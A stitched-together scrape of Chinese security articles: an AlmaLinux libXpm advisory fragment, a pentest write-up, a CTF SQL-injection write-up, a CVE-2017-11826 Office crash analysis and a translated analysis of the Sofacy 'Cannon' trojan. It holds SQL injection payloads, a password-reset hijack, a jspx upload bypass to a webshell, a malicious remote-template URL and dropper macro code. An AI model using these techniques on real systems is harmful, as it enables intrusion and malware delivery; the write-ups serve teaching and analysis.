"name": "libXpm",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "ppc64le",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-3.5.13-8.el9_1.ppc64le.rpm",
"sum": "420f3c80dc8fd2ee8eebe1fd89c3d9a2375d92456fb55349674f2ea694690752",
"sum_type": 5,
"reboot_suggested": 0
},
{
"name": "libXpm-devel",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "ppc64le",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-devel-3.5.13-8.el9_1.ppc64le.rpm",
"sum": "7c6243d1a4556d1daf028449f8a90d74b22c726a1cf951eeb8153d0ee77329b4",
"sum_type": 5,
"reboot_suggested": 0
},
{
"name": "libXpm-devel",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "aarch64",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-devel-3.5.13-8.el9_1.aarch64.rpm",
"sum": "30b4c77de55f0362a65b80cdecefe1e3a441c40b70339280893bf6816e399e47",
"sum_type": 5,
"reboot_suggested": 0
},
{
"name": "libXpm",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "aarch64",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-3.5.13-8.el9_1.aarch64.rpm",
"sum": "b61a699c5c664d0262b279e12a2c32690fdc8428856480b18b91611bb6611c55",
"sum_type": 5,
"reboot_suggested": 0
},
{
"name": "libXpm-devel",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "s390x",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-devel-3.5.13-8.el9_1.s390x.rpm",
"sum": "0cca6f2f73e7ec44b03f451dd95fab137fad7a494aaecb57b19a423fcb28f797",
"sum_type": 5,
"reboot_suggested": 0
},
{
"name": "libXpm",
"version": "3.5.13",
"release": "8.el9_1",
"epoch": "0",
"arch": "s390x",
"src": "libXpm-3.5.13-8.el9_1.src.rpm",
"filename": "libXpm-3.5.13-8.el9_1.s390x.rpm",
"sum": "16796c5d0b7d3e6586db4730349bd9c3f34ba872cfeebe0450628a1f08517a51",
"sum_type": 5,
"reboot_suggested": 0
}
],
"module": {}
},
"pushcount": "1",
"references": [
{
"href": "https://access.redhat.com/errata/RHSA-2023:0383",
"type": "rhsa",
"id": "RHSA-2023:0383",
"title": "RHSA-2023:0383"
},
{
"href": "https://access.redhat.com/security/cve/CVE-2022-44617",
"type": "cve",
"id": "CVE-2022-44617",
"title": "CVE-2022-44617"
},
{
"href": "https://access.redhat.com/security/cve/CVE-2022-46285",
"type": "cve",
"id": "CVE-2022-46285",
"title": "CVE-2022-46285"
},
{
"href": "https://access.redhat.com/security/cve/CVE-2022-4883",
"type": "cve",
"id": "CVE-2022-4883",
"title": "CVE-2022-4883"
},
{
"href": "https://bugzilla.redhat.com/2160092",
"type": "bugzilla",
"id": "2160092",
"title": ""
},
{
"href": "https://bugzilla.redhat.com/2160193",
"type": "bugzilla",
"id": "2160193",
"title": ""
},
{
"href": "https://bugzilla.redhat.com/2160213",
"type": "bugzilla",
"id": "2160213",
"title": ""
},
{
"href": "https://errata.almalinux.org/9/ALSA-2023-0383.html",
"type": "self",
"id": "ALSA-2023:0383",
"title": "ALSA-2023:0383"
}
],
"release": "0",
"rights": "Copyright 2023 AlmaLinux OS",
"severity": "Important",
"solution": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258",
"status": "final",
"summary": "libXpm security update",
"title": "Important: libXpm security update",
"type": "security",
"updated_date": {
"$date": 1674572086000
},
"version": "1"
}
# 0x07 总结
本文主要是从数据源、数据结构、关键方法、工具包总结、使用到的第三方库和运行结果六个方面讨论了AlmaLinux操作系统漏洞情报收集的方法。若有不足的地方，欢迎讨论纠正。后续会讨论如何对alpine操作系统漏洞情报进行收集，本文已经详细叙述的部分将不会赘述。 | 社区文章 |
团队 一枚 老司机的奇葩司机思路，发出来让大家看看 他到底有多老司机！
[
对他老司机这一件事，我能怎么办，我也很绝望呀！
我和大家一样看文章以前 都是一枚不明真相的吃瓜土狗
但是现在呢，皮皮虾我们走！
## **渗透范围**
<table> 系统 XXXXX网 URL <http://XXXXX/login.jsp> </table>
接到公司下发的授权渗透测试项目任务，我们的老司机同事把油门加满了。
## **基础信息收集**
### 服务器环境
[
### 关键信息
<table> 服务器环境 Linux ,csvserver, Apache Tomcat 程序语言 Jsp 关键端口 80,8010,8087,8899
</table>
### 关键信息
<table> 泄露关键字 xxxxxxxxxxxxx, xxxxx </table>
## **系统功能枚举**
> 系统后台(<http://XXXXX/login.jsp>)
[
忘记密码([http://XXXXX/XXXX/XXXX.jsp](http://xxxxx/XXXX/XXXX.jsp))
[
## **SQL注入漏洞**
> |
> [http://XXXXX/XXXX/XXXXX.jsp?prename=XXXX=1'](http://XXXXX/XXXX/XXXXX.jsp?prename=XXXX=1');
> or '1'='1 |
> | ---------------------------------------- |
> | 参数：mobile,prename,loginName |
> | 类型：boolean |
>
>
由于自动化工具SQLmap不能识别注入点，且由于注入语句的限制，只能获取部分信息，
编写程序获取到mysql数据库的用户:
[
## **账户信息收集**
### Google Search
关键词: xXXXg,xxxxw
[
### 验证用户
通过尝试登录系统后台验证用户存在与否。
[
admin账户不存在，尝试使用收集到的关键字进行猜测。
[
xXXx这个用户是存在的，所以现在拿到了系统的用户名。
## **尝试爆破密码**
### 信息收集
经过对服务器其他端口的信息收集，在80端口上运行的服务和8010端口上的服务是类似的，程序有可能是同一个公司开发的(xxx科技？？？)，再次利用XXX尝试登陆系统，发现这个用户也是存在的。
### 分析登陆请求
通过客户端的js代码，发现登陆采用DES加密
[
把加密算法放在前端，厂家我就想问你
[
厂家：
[
普通的登录请求都是明文直接登录，可以利用burpsuite很方便进行爆破，但是这里采用用户名和密码都加密的方法，让爆破工作难度增大了许多，要编写程序进行爆破可能又要花费很多时间。所以需要另寻他法。
[
该系统还有一个安全问题，系统对登录的用户名和密码进行加密发送，目的很有可能是为了防止网络窃听攻击，采用DES加密本身是相对比较安全的，但是在分析加密过程发现系统把默认的加密key放在了客户端，还有在http流中明文传输key，所以攻击者完全可以窃取key对密文进行解密，得到明文账户密码信息。
(MDZZ)
## 寻找新爆破点
> <http://xxxxx//xxxxx/XXXXX.jsp>
[
在信息收集阶段，发现系统有一个隐藏了的功能，就是修改密码，这个修改密码的过程并没有采用加密的方式，所以可以通过修改密码验证旧密码的正确来进行爆破密码。（安全脉搏<https://www.secpulse.com/archives/57606.html）>
这里有一点要注意的是如果我们爆破到正确的密码时，系统正好也就修改了原来的密码，所以一定要先记录下修改后的密码是什么。
此外，如果为了不让管理员知道自己的密码被更改了，可以在爆破的过程中，直接把新的密码填写为我们的爆破值。
### 爆破工作
对上述爆破点进行爆破，尝试了6000多个常用弱密码，但是很遗憾，并没有一个是正确的密码，所以爆破工作结束，并不能如愿以偿。。。。
## **系统逻辑分析**
通过前期的信息收集工作，发现系统在前台的功能很少，都是一些静态的内容，尝试在前台挖掘可能存在的安全漏洞，几个端口运行的web服务上，的确发现存在上传文件的功能，在“XXX”的系统功能上。（安全脉搏<https://www.secpulse.com/archives/57606.html）>
通过测试发现上传功能对上传的文件名进行了限制，并且系统的处理逻辑使得即使绕过了文件扩展名的限制，也没办法访问到上传的文件(访问上传的文件会提示文件不存在)。
渗透项目到这里，简直江郎才尽，太特么尴尬了。。。。
再次回到我们的忘记密码功能上，来看看这个地方是否存在除了SQLinject之外的其他安全问题。
[
思考:系统对忘记密码的逻辑是怎样的？
首先我们看不到源代码，所以这里只能对处理逻辑进行猜测，想办法让猜测的结果尽可能地接近系统的源码。
首先，当我们输入用户名和手机号码的时候，程序应该是获取数据库中用户名(xxxx)的数据，并比较用户的手机号码和我们输入的是不是相同，如果找不到，就提示输入的信息有误，假设找到对应的用户了，那么程序就会把密码发送到对应的手机上。
这个处理逻辑是没有问题的。我们要知道用户XXXX的密码，那么就得知道对应的号码（号码是：1XXXXX5，别问我怎么来的），并且能够拿到手机接收到的短信。这看起来很难，当然也确实挺难的。
**但是如果我们能控制系统把密码发送到 **** 我们的手机 ****呢?**
系统在验证用户名和手机后是怎么给手机发信息的，安全的做法应该是拿到数据库中对应用户的手机号码，然后发送信息。
但是系统这样做了吗？？？？
很显然是没有的，要不然我这个逼早就装不下去了。。。。。。
(MDZZ)
既然系统没有取数据库中的手机号码，那么就是从客户端的输入获取手机号码，也就是手机号码可被控制。
但是直接输入想要收短信的手机号码，会导致用户名和手机号码的验证不通过。
那么怎么才能通过验证又能把密码发送到我们的手机上呢?
**如果结合之前的SQL注入漏洞呢?**
[
为什么这样就可以达到想要的结果呢？看看系统的逻辑的伪代码。
usename=get(用户名);
phone=get(手机号码);
query_str=”select * from user_table where username=’”+username+”’ and phone=’+phone+”’”;
res=mysql_query(query_str);
if(res) send_pw_to_phone(phone,…);else return error;
[
成功结合SQL注入 导致直接不用校验手机号 最后把密码发送到输入处的手机号（也就是我们的手机上）
[
## **后台GetShell**
<table> 用户密码：xxxx/xxxxxx6 <http://xxxxx/xxxx/xxx/xxx?txxxxx=1492570302687>
</table>
### 文件上传
<table> POST
/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=1.jspx&fileSize=0
POST
[http://XXXX/XXX/XXXX?ownerId=ff8080815b8319f0015b842ff87f00d0&ownerName=visitAttach&ownerClass=VisitContent&unzipAttach=undefined&filename=1.jsp&fileSize=0](http://XXXX/XXX/XXXX?ownerId=ff8080815b8319f0015b842ff87f00d0&ownerName=visitAttach&ownerClass=VisitContent&unzipAttach=undefined&filename=1.jsp&fileSize=0)
</table>
[
系统采用黑名单限制文件扩展名，可使用jspx绕过限制，apache默认解析jspx文件。
[
[
### **SHELL**
> <http://xxxxxxx/bed58ce10310421cbc654ee45239e2d4.jspx密码：pxxxxxxxxx>
[
一张图总结和警示自己
[
_Now Game Over !!!_
* *
* *
_有感觉 **打** 码 **的安全脉搏小编** 很强， **一看就是那种专业打码** 30 **年** 的！_
_但是 **对** 于 **老司机** 来 **说这** 都 **不算** 事 **，阅** 片无数 心中 **自然** 无**码_
[ | 社区文章 |
# codeblue2018 MortAl mage aGEnts题目分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 之前国外的一个水准比较高的比赛，当时没空做，有时间就来复现学习一波，题目提供了源码，也算是一个比较有趣的逻辑注入了。
## 题目背景
题目代码实现了一个简单的交易系统，每个用户在注册以后，就有 100000000MGC，用户之前可以互相交易。
## 题目要求
在泄露的数据库文件中，我们发现了有关flag1的sql语句： 因此这个题目第一步就是要能够注入出flag。
## 代码架构分析
代码使用了编写路由来写逻辑的形式，很像是python开发中的flask框架，这种方式实现起来会比较清晰，对开发者的逻辑处理有比较好的帮助。
### 代码入口文件
整个代码的入口文件是初始化环境加上所有路由的前置路由实现：
可以看到，默认全局是使用了google的图片验证码，由于是在国内调试，所以我们注释了这部分。
然后我们看一下基本的逻辑：
### 基本的登陆注册逻辑
这里我们可以只看post的部分，因为get的部分都是渲染前端模板的，post的部分是代码具体逻辑实现：
可以看到注册和登陆逻辑没有什么问题，都实现的比较严谨，如果底层没有出现问题，是可以保证稳定运行的。因为是sql注入，所以我们要尤其关注sql的部分，下面我们跟进底层去看下。
### 交易的逻辑实现
经过对代码的理解，这个系统其实是做了一个类似于当前流行的区块链的钱包，每个用户在第一次使用的时候，是可以生产一个唯一的钱包地址，如果别人要跟你进行交易，就需要知道你的钱包地址，否则是不能实现的，可以通过下面的图片来理解：
### 底层分析—发现漏洞
可以看到具体的数据库操作都封装到了`$app->db`中，并且使用了绑定变量的预处理方法执行sql语句，那我们就具体去看一下具体的实现：
可以发现刚开始的几个函数是没有问题的，都是直接把预处理给了数据库来执行，但是下面却有一个很特殊的函数：
可以看到这里并没有直接把预处理交给数据库，而是自己实现了，根据ctf中的经验，这里一定有问题：
foreach ($param as $key => $value) {
$search[] = $key;
$replace[] = sprintf("'%s'", mysqli_real_escape_string($this->link, $value));
}
$sql = str_replace($search, $replace, $sql);
乍一看，貌似没有什么问题，但是自己想一下，这里确实是存在问题的：我们来写个demo测试一下：
可以看到如果是正常的绑定变量，确实可以完成功能。
但是如果是这样呢？
可以很明显的看到，这里是可以造成二次绑定变量的，所以按理来说，是可以造成注入的，构造如下：
### 找到利用点
既然我们知道了这个函数是可以造成注入的，那我们就要梳理一下这个漏洞的利用需要什么？
1. 我们需要一个绑定两个参数的sql语句
2. 我们需要两个参数都可控
经过简单的浏览，我们发现了可以利用的位置：
这个位置是在插入交易信息的位置，就是说我们只要能注册两个恶意用户名的用户，互相交易，就可以注入出flag。
我们继续将代码抽象出来单独构造：
经过一段时间的测试，发现可以构造如下：
first: ,1000000,100000000,(select(flag1)from(flag1)));#:notes
second: ,1000000,100000000,(select(flag1)from(flag1)));#
这样经过处理我们的sql语句就变成了：
INSERT INTO account (user_id, debit, credit, notes) VALUES (',1000000,100000000,(select(flag1)from(flag1)));#',1000000,100000000,(select(flag1)from(flag1)));#
### 获取flag
先分别注册用户：
然后使用第一个账号，生成交易token，然后第二个账号验证token，
然后第二个账号向第一个账号发起转账：
然后我们就可以在交易记录中发现flag：
## 后记
整个流程略显复杂，设计到交易代码的具体实现，可能刚开始看会觉得很乱，但是自己梳理，流程还是非常清晰的。这题主要考了快速发现代码异常，以及构造poc，以及找到合适的利用点几个方面的能力，还是很有意思的，和大家分享一下。 | 社区文章 |
作者：binjo
CVE-2017-11826是360捕获的一个在野0day，当时的announcement信息较少，随着研究人员在VirusTotal之类平台发现真实样本后，陆续有分析文章面世，然而对于漏洞本身似乎并没有文章进行深入分析。遂成此文，记录及分享之。
笔者的分析平台基于Windows 7 + Office 2010。笔者假设读者已经阅读过其它分析文章，对该漏洞样本有个大致了解。
#### Crash现场
真实样本中内嵌了两个docx，一个负责spray
heap，一个负责触发漏洞，为了方便调试，我们可以利用oletools工具，先dump出来再单独加载、调试。dump的文件包含OLE头部，使用二进制编辑软件如010Editor去除。
打开该docx文件后，Office崩溃场景如下:
(97c.438): Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll - eax=088888ec ebx=00000000 ecx=03d50f00 edx=00000004 esi=012b42b0 edi=0128c1dc
eip=5b38962a esp=002f3134 ebp=002f319c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetClassObject+0xf2e3a:
5b38962a 8b08 mov ecx,dword ptr [eax] ds:0023:088888ec=????????
引用寄存器eax时产生异常，查看该语句上下文，可以发现0x088888ec从某个对象+44h处取得，而设置其值就在上面不远处。
5b38960b 8b06 mov eax,dword ptr [esi]
5b38960d 8b10 mov edx,dword ptr [eax]
5b38960f 4a dec edx
5b389610 4a dec edx
5b389611 8bce mov ecx,esi
5b389613 e8ee70d4ff call wwlib!DllMain+0x3b15 (5b0d0706) // 关键call
5b389618 8b4044 mov eax,dword ptr [eax+44h]
5b38961b 8b4044 mov eax,dword ptr [eax+44h]
5b38961e 8b4f44 mov ecx,dword ptr [edi+44h]
5b389621 894144 mov dword ptr [ecx+44h],eax // [[edi+44h]+44h] = [[eax+44h]+44h]
5b389624 8b4744 mov eax,dword ptr [edi+44h]
5b389627 8b4044 mov eax,dword ptr [eax+44h] // eax = [[edi+44h]+44h]
5b38962a 8b08 mov ecx,dword ptr [eax] ds:0023:088888ec=????????
5b38962c 50 push eax
5b38962d ff5104 call dword ptr [ecx+4] // 飞向光明之巅！
5b389613(wwlib!DllGetClassObject+0xf2e23)处的call
wwlib!DllMain+0x3b15就是关键，其取得的某个对象+44h处应该是个指针，指针指向的对象+44h处便是0x088888ec了。
#### 倒撵猴
为了验证，我们先attach windbg到winword.exe，对其设断，然后再打开触发文件。
(8fc.aa4): Break instruction exception - code 80000003 (first chance)
eax=7ffaf000 ebx=00000000 ecx=00000000 edx=7725ec4b esi=00000000 edi=00000000
eip=771f3c8c esp=01a9fe30 ebp=01a9fe5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!DbgBreakPoint:
771f3c8c cc int 3
0:012> bp wwlib!DllGetClassObject+0xf2e23
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll - 0:012> g
Breakpoint 0 hit
eax=039f7800 ebx=00000000 ecx=012b4450 edx=00000004 esi=012b4450 edi=039f79dc
eip=5b389613 esp=00120c40 ebp=00120ca8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
wwlib!DllGetClassObject+0xf2e23:
5b389613 e8ee70d4ff call wwlib!DllMain+0x3b15 (5b0d0706)
这时单步进入，慢慢调戏，哦不，调试之。当然看官也可同时在IDA中查看。
.text:318D0706 xxx_retrieve_obj_ptr proc near ; CODE XREF: sub_318CFA51+2A9↑p
.text:318D0706 ; sub_318D0659+1E↑p ...
.text:318D0706 mov ecx, [ecx]
.text:318D0708 mov eax, [ecx]
.text:318D070A cmp edx, eax
.text:318D070C jb short loc_318D0710
.text:318D070E mov edx, eax
.text:318D0710
.text:318D0710 loc_318D0710: ; CODE XREF: xxx_retrieve_obj_ptr+6↑j
.text:318D0710 mov eax, [ecx+8]
.text:318D0713 imul eax, edx
.text:318D0716 add eax, [ecx+0Ch]
.text:318D0719 add eax, ecx
.text:318D071B retn
.text:318D071B xxx_retrieve_obj_ptr endp
它逻辑很简单，edx是某个index值，ecx经过两次defer后指向一个结构体，返回的是edx对应index值对应的结构体(某个对象)指针。查看内存，可以推断当前存在6个对象，在内存中的大小为0x5c。
0:000> dd poi(ecx) l10/4
039f7800 00000006 00000019 0000005c 00000010
0:000> dd poi(ecx)+10+5c*0 l5c/4
039f7810 0000007d 00000096 0000002e 00000027
039f7820 00000000 00000000 00000000 00000000
039f7830 ffff0000 ffffffff 0000ffff 00000000
039f7840 ffff0000 0000ffff 00000000 00000000
039f7850 00000000 00000000 00000000 00000000
039f7860 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*1 l5c/4
039f786c 00000132 00000030 0000002e 00000027
039f787c 00000000 00000000 00000000 00000000
039f788c ffff0000 ffffffff 0000ffff 00000000
039f789c ffff0000 0000ffff 00000000 00000000
039f78ac 00000000 00000000 00000000 00000000
039f78bc 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*2 l5c/4
039f78c8 000001c7 000001ca 0000002e 00000027
039f78d8 00000000 00000000 00000000 00000000
039f78e8 ffff0000 ffffffff 0000ffff 00000000
039f78f8 ffff0000 0000ffff 00000000 00000000
039f7908 00000000 00000000 00000000 00000000
039f7918 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*3 l5c/4
039f7924 0000ffff 0000ffff 0000001a 0000001a
039f7934 00000001 00000000 00000000 00000000
039f7944 ffff0000 ffffffff 0000ffff 00000000
039f7954 ffff0000 0000ffff 00000000 00000000
039f7964 00000000 015006e0 5b694a29 00000000
039f7974 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*4 l5c/4
039f7980 0000020a 000000e0 0000002e 00000027
039f7990 00000000 00000000 00000000 00000000
039f79a0 ffff0000 ffffffff 0000ffff 00000000
039f79b0 ffff0000 0000ffff 00000000 00000000
039f79c0 00000000 0148d300 5b2acb04 00000000
039f79d0 00000000 00000000 00000000
0:000> dd poi(ecx)+10+5c*5 l5c/4
039f79dc 0000ffff 0000ffff 0000001a 0000001a
039f79ec 00000000 00000000 00000000 00000000
039f79fc ffff0000 ffffffff 0000ffff 00000000
039f7a0c ffff0000 0000ffff 00000000 00000000
039f7a1c 00000000 01500640 5b694a29 00000000
039f7a2c 00000000 00000000 00000000
由前面断下时寄存器edx可知，程序在取得index=4对应的对象后，产生了崩溃，让我们看看这是个什么神仙。
0:000> dd poi(ecx)+10+5c*4 l5c/4
039f7980 0000020a 000000e0 0000002e 00000027
039f7990 00000000 00000000 00000000 00000000
039f79a0 ffff0000 ffffffff 0000ffff 00000000
039f79b0 ffff0000 0000ffff 00000000 00000000
039f79c0 00000000 0148d300 5b2acb04 00000000
039f79d0 00000000 00000000 00000000
0:000> dc 0148d300
0148d300 0000045f 00000000 00000000 00000000 _...............
0148d310 00000000 00000000 00000000 00000000 ................
0148d320 00000000 00000000 0069004c 0063006e ........L.i.n.c.
0148d330 00720065 00680043 00720061 00680043 e.r.C.h.a.r.C.h.
0148d340 00720061 088888ec 006f0066 0074006e a.r.....f.o.n.t.
0148d350 0062ff1a 00740061 006e0061 00000067 ..b.a.t.a.n.g...
0148d360 00000000 00000000 00000000 00000000 ................
0148d370 00000000 00000000 00000000 00000000 ................
这时我们发现那个0x088888ec在这对象的+44h处了，对照docx中的样式，我们可以推断这是那个font对象。
<w:body >
<w:shapeDefaults >
<o:OLEObject >
<w:font w:name="LincerCharChar裬࢈font：batang"><o:idmap/>
</o:OLEObject>
</w:shapeDefaults>
</w:body>
不知道客官是否好奇那个结构体数组中其它对象是什么呢，我们再来一探究竟。
0:000> dd poi(ecx)+10+5c*3 l5c/4
039f7924 0000ffff 0000ffff 0000001a 0000001a
039f7934 00000001 00000000 00000000 00000000
039f7944 ffff0000 ffffffff 0000ffff 00000000
039f7954 ffff0000 0000ffff 00000000 00000000
039f7964 00000000 015006e0 5b694a29 00000000
039f7974 00000000 00000000 00000000
0:000> dc 015006e0
015006e0 00000001 00000001 0148cf18 00000009 ..........H.....
015006f0 00000000 00000000 00000000 00000000 ................
01500700 00000000 000004b0 00000000 00000000 ................
01500710 0005003c 00000000 00000000 00000000 <...............
01500720 00000003 01500b40 00000000 614c223d [email protected].....="La
01500730 5957c414 00000000 595ffd5c 54484b4c ..WY....\._YLKHT
01500740 75734d43 69727453 614d676e 00000070 CMsuStringMap...
01500750 00000001 01202e98 592c484d 592c4db0 ...... .MH,Y.M,Y
0:000> du 0148cf18 l9
0148cf18 "OLEObject"
0:000> dd poi(ecx)+10+5c*5 l5c/4
039f79dc 0000ffff 0000ffff 0000001a 0000001a
039f79ec 00000000 00000000 00000000 00000000
039f79fc ffff0000 ffffffff 0000ffff 00000000
039f7a0c ffff0000 0000ffff 00000000 00000000
039f7a1c 00000000 01500640 5b694a29 00000000
039f7a2c 00000000 00000000 00000000
0:000> dc 01500640
01500640 00000001 00000001 01f86ee0 00000005 .........n......
01500650 00000000 00000000 00000000 00000000 ................
01500660 00000000 000004b0 00000000 00000000 ................
01500670 0005003c 00000000 00000000 00000000 <...............
01500680 00000003 00000000 00000000 2f226179 ............ya"/
01500690 00016b48 55b77748 0001fbd0 55b778c8 Hk..Hw.U.....x.U
015006a0 0000000e 74202261 00000000 00000000 ....a" t........
015006b0 00000000 00000000 00000001 594f9e4c ............L.OY
0:000> du 01f86ee0 l5
01f86ee0 "idmap"
原来它们分别对应OLEObject和idmap，和xml相呼应。至此，我想客官可以大胆猜上一猜了，Office在解析那段xml时，解析器维护了一段内存来保存解析状态，当处理`<o:idmap>`时，存在type
confusion漏洞，取得了前置font对象内容，且可以被利用来控制寄存器eax，从而控制程序流程。如果`<w:font>`这个tag正确闭合，可以验证该font对象内容不会存在于那段内存中。
#### 补丁
知道漏洞关键点后，寻找补丁也就顺理成章，不难找到具体位置了。取得对象指针后，再比较了+48h处的指针，如果不对应则跳转了。
.text:31B8960B 8B 01 mov eax, [ecx]
.text:31B8960D 8B 10 mov edx, [eax]
.text:31B8960F 4A dec edx
.text:31B89610 4A dec edx
.text:31B89611 E8 E8 70 D4 FF call xxx_retrieve_obj_ptr
.text:31B89616 81 78 48 4A 4A E9+ cmp dword ptr [eax+48h], offset sub_31E94A4A ; patch for CVE-2017-11826
.text:31B8961D 75 1D jnz short loc_31B8963C
.text:31B8961F 8B 40 44 mov eax, [eax+44h]
.text:31B89622 8B 40 44 mov eax, [eax+44h]
.text:31B89625 8B 4F 44 mov ecx, [edi+44h]
.text:31B89628 89 41 44 mov [ecx+44h], eax
.text:31B8962B 8B 47 44 mov eax, [edi+44h]
.text:31B8962E 8B 40 44 mov eax, [eax+44h]
.text:31B89631 8B 08 mov ecx, [eax]
.text:31B89633 50 push eax
.text:31B89634 FF 51 04 call dword ptr [ecx+4]
#### 禅(xian)定(zhe)时刻
正常打开利用文件，咣当崩溃了，这是为啥呢？
(a70.544): Access violation - code c0000005 (!!! second chance !!!)
eax=768a0000 ebx=088883ec ecx=00000000 edx=77206c74 esi=768a0000 edi=08888f70
eip=08889000 esp=08888f70 ebp=08888f70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
08889000 e893ffffff call 08888f98
许久没写文章，疏漏在所难免，欢迎到微博联系指正。[@binjo_](http://weibo.com/binjo8)
欢迎转发分享，或者打赏一杯咖啡钱。 :)
#### 参考
1. <http://360coresec.blogspot.com/2017/10/new-office-0day-cve-2017-11826.html>
2. <http://www.freebuf.com/vuls/150607.html>
3. <https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-microsoft-office-zero-day-exploit-cve-2017-11826-memory-corruption-vulnerability/>
4. <https://github.com/decalage2/oletools>
* * * | 社区文章 |
# 使用邮件实现C&C通信：新型木马Cannon分析
|
##### 译文声明
本文是翻译文章，文章原作者 Paloaltonetworks，文章来源：researchcenter.paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
在2018年10月下旬和11月初，Unit
42监测到一系列武器化文件，这些文件使用了某种技术来加载包含恶意宏的远程模板。这种类型的武器化文件其实并不罕见，但由于其具有模块化的特点，因此自动分析系统很难将其识别为恶意文档。针对这种技术而言，如果C&C服务器在代码执行时不可用，那么则无法检索到恶意代码，从而导致该文档基本上被判断为良性的。
这一武器化文件的目标是全球范围内的几个政府实体，包括北美、欧洲和前苏联国家。对我们来说幸运的是，其中几个文档中包含的C&C服务器仍在正常运行，允许我们查看恶意宏和后续Payload。经过分析，发现其中一部分文档的第一阶段Payload与Zebrocy木马一致。但此次发现了额外的一些文档，其中包含新型的第一阶段Payload，我们将其命名为Cannon。此前，我们从未观察到Cannon被Sofacy恶意组织使用。并且，Cannon中包含一个新型的C&C通信方式，该通信是基于电子邮件。尽管以电子邮件进行C&C通信并不是一种新方法，但一般不会像HTTP或HTTPS方式那样频繁地被使用。使用电子邮件进行C&C通信，也会降低被检测到的概率，因为在许多企业中，并没有将“向未知域名发送电子邮件”加入到可疑事件的范围中。
我们已经收集到大量武器化文档，本文将对其中的两个文档进行重点分析。这两个文档具有多个相同的特征，例如使用了相同的C&C
IP地址，具有相同的作者名称和策略。其中一个文档的文件名非常值得关注：crash list(Lion Air Boeing 737).docx（坠毁清单-狮航波音737.docx）。可以看出，该恶意组织试图利用灾难性事件，吸引用户的注意力，从而执行攻击。
## 二、攻击细节
我们捕获到的初始样本是一个Microsoft
Word文档（SHA256：2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f），其文件名为crash
list(Lion Air Boeing
737).docx，作者名称为Joohn。该文档试图针对处理欧洲外交事务的政府组织进行鱼叉式网络钓鱼。一旦用户尝试打开此文档，Microsoft
Word将立即尝试从DOCX文档settings.xml.rels文件中指定位置加载包含恶意宏和Payload的远程模板，如下所示：
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://188.241.58[.]170/live/owa/office.dotm" TargetMode="External"/>
如果C&C已经离线，文档仍然会打开，但Word将无法检索远程模板，因此Word也无法加载宏。在这种情况下，Word将向受害者呈现出相同的诱饵文档，如下图所示，但无法通过“启用内容”按钮启用宏。如果C&C仍然在线，Word将会加载远程模板（SHA256：f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5），并向用户显示下图所示的内容。
一旦受害者点击“启用内容”按钮，就会执行嵌入式宏。在宏中，使用了不太常见的AutoClose函数。这是一种反分析的手段，因为在用户关闭文档之前，Word并不会完全执行恶意代码，所以如果自动化沙箱退出了分析会话而没有特意关闭文档，那么就无法捕捉到恶意活动。在宏成功执行后，将安装Payload，并将一个文档保存到系统。通常，我们见到的都是将一个诱饵文件保存到系统中，然后显示，从而使受害者不会怀疑存在恶意活动。但是，该木马保存的文件并没有显示，并且也不包含与狮航空难相关的任何内容。宏从存储为UserForm1.Label1.Caption的文档中获取要保存到系统中的文档，并将其写入到如下位置：
%TEMP%\~temp.docm
宏从存储为UserForm1.Label2.Caption的文档中，获取要投放到系统上的Payload，并将其写入到如下位置：
%APPDATA%\MSDN\~msdn.exe
宏通过加载~temp.docm文档，并在其嵌入式宏中调用函数来运行Payload，这是一种独特的执行Payload的方式。我们认为，该文档的创建者之所以选择从投放的文件中运行Payload，是为了逃避防护软件的监测。此外，初始的宏使用这一投放的文档来执行Payload的事实，也解释了为什么文档中不包含任何诱饵内容。
为了执行这一功能，在将~temp.docm和~msdndn.exe文件写入系统后，初始宏将~temp.docm文件作为Word文档对象加载，并尝试在~temp.docm文件的Module1宏中运行函数Proc1，其代码如下：
Set WA = CreateObject("Word.Application")
WA.Visible = False
Set oMyDoc = WA.Documents.Open(vF)
WA.Application.Run "Module1.Proc1"
Module1中的Proc1函数只是为已投放的Payload创建%APPDATA%MSDN~msdn.exe路径，并使用内置的Shell函数来执行，其代码如下：
vAdd = "~msdn"
vFileName = Environ("APPDATA") & "MSDN"
vFileName = vFileName + vAdd & ".e" + "x" & "e"
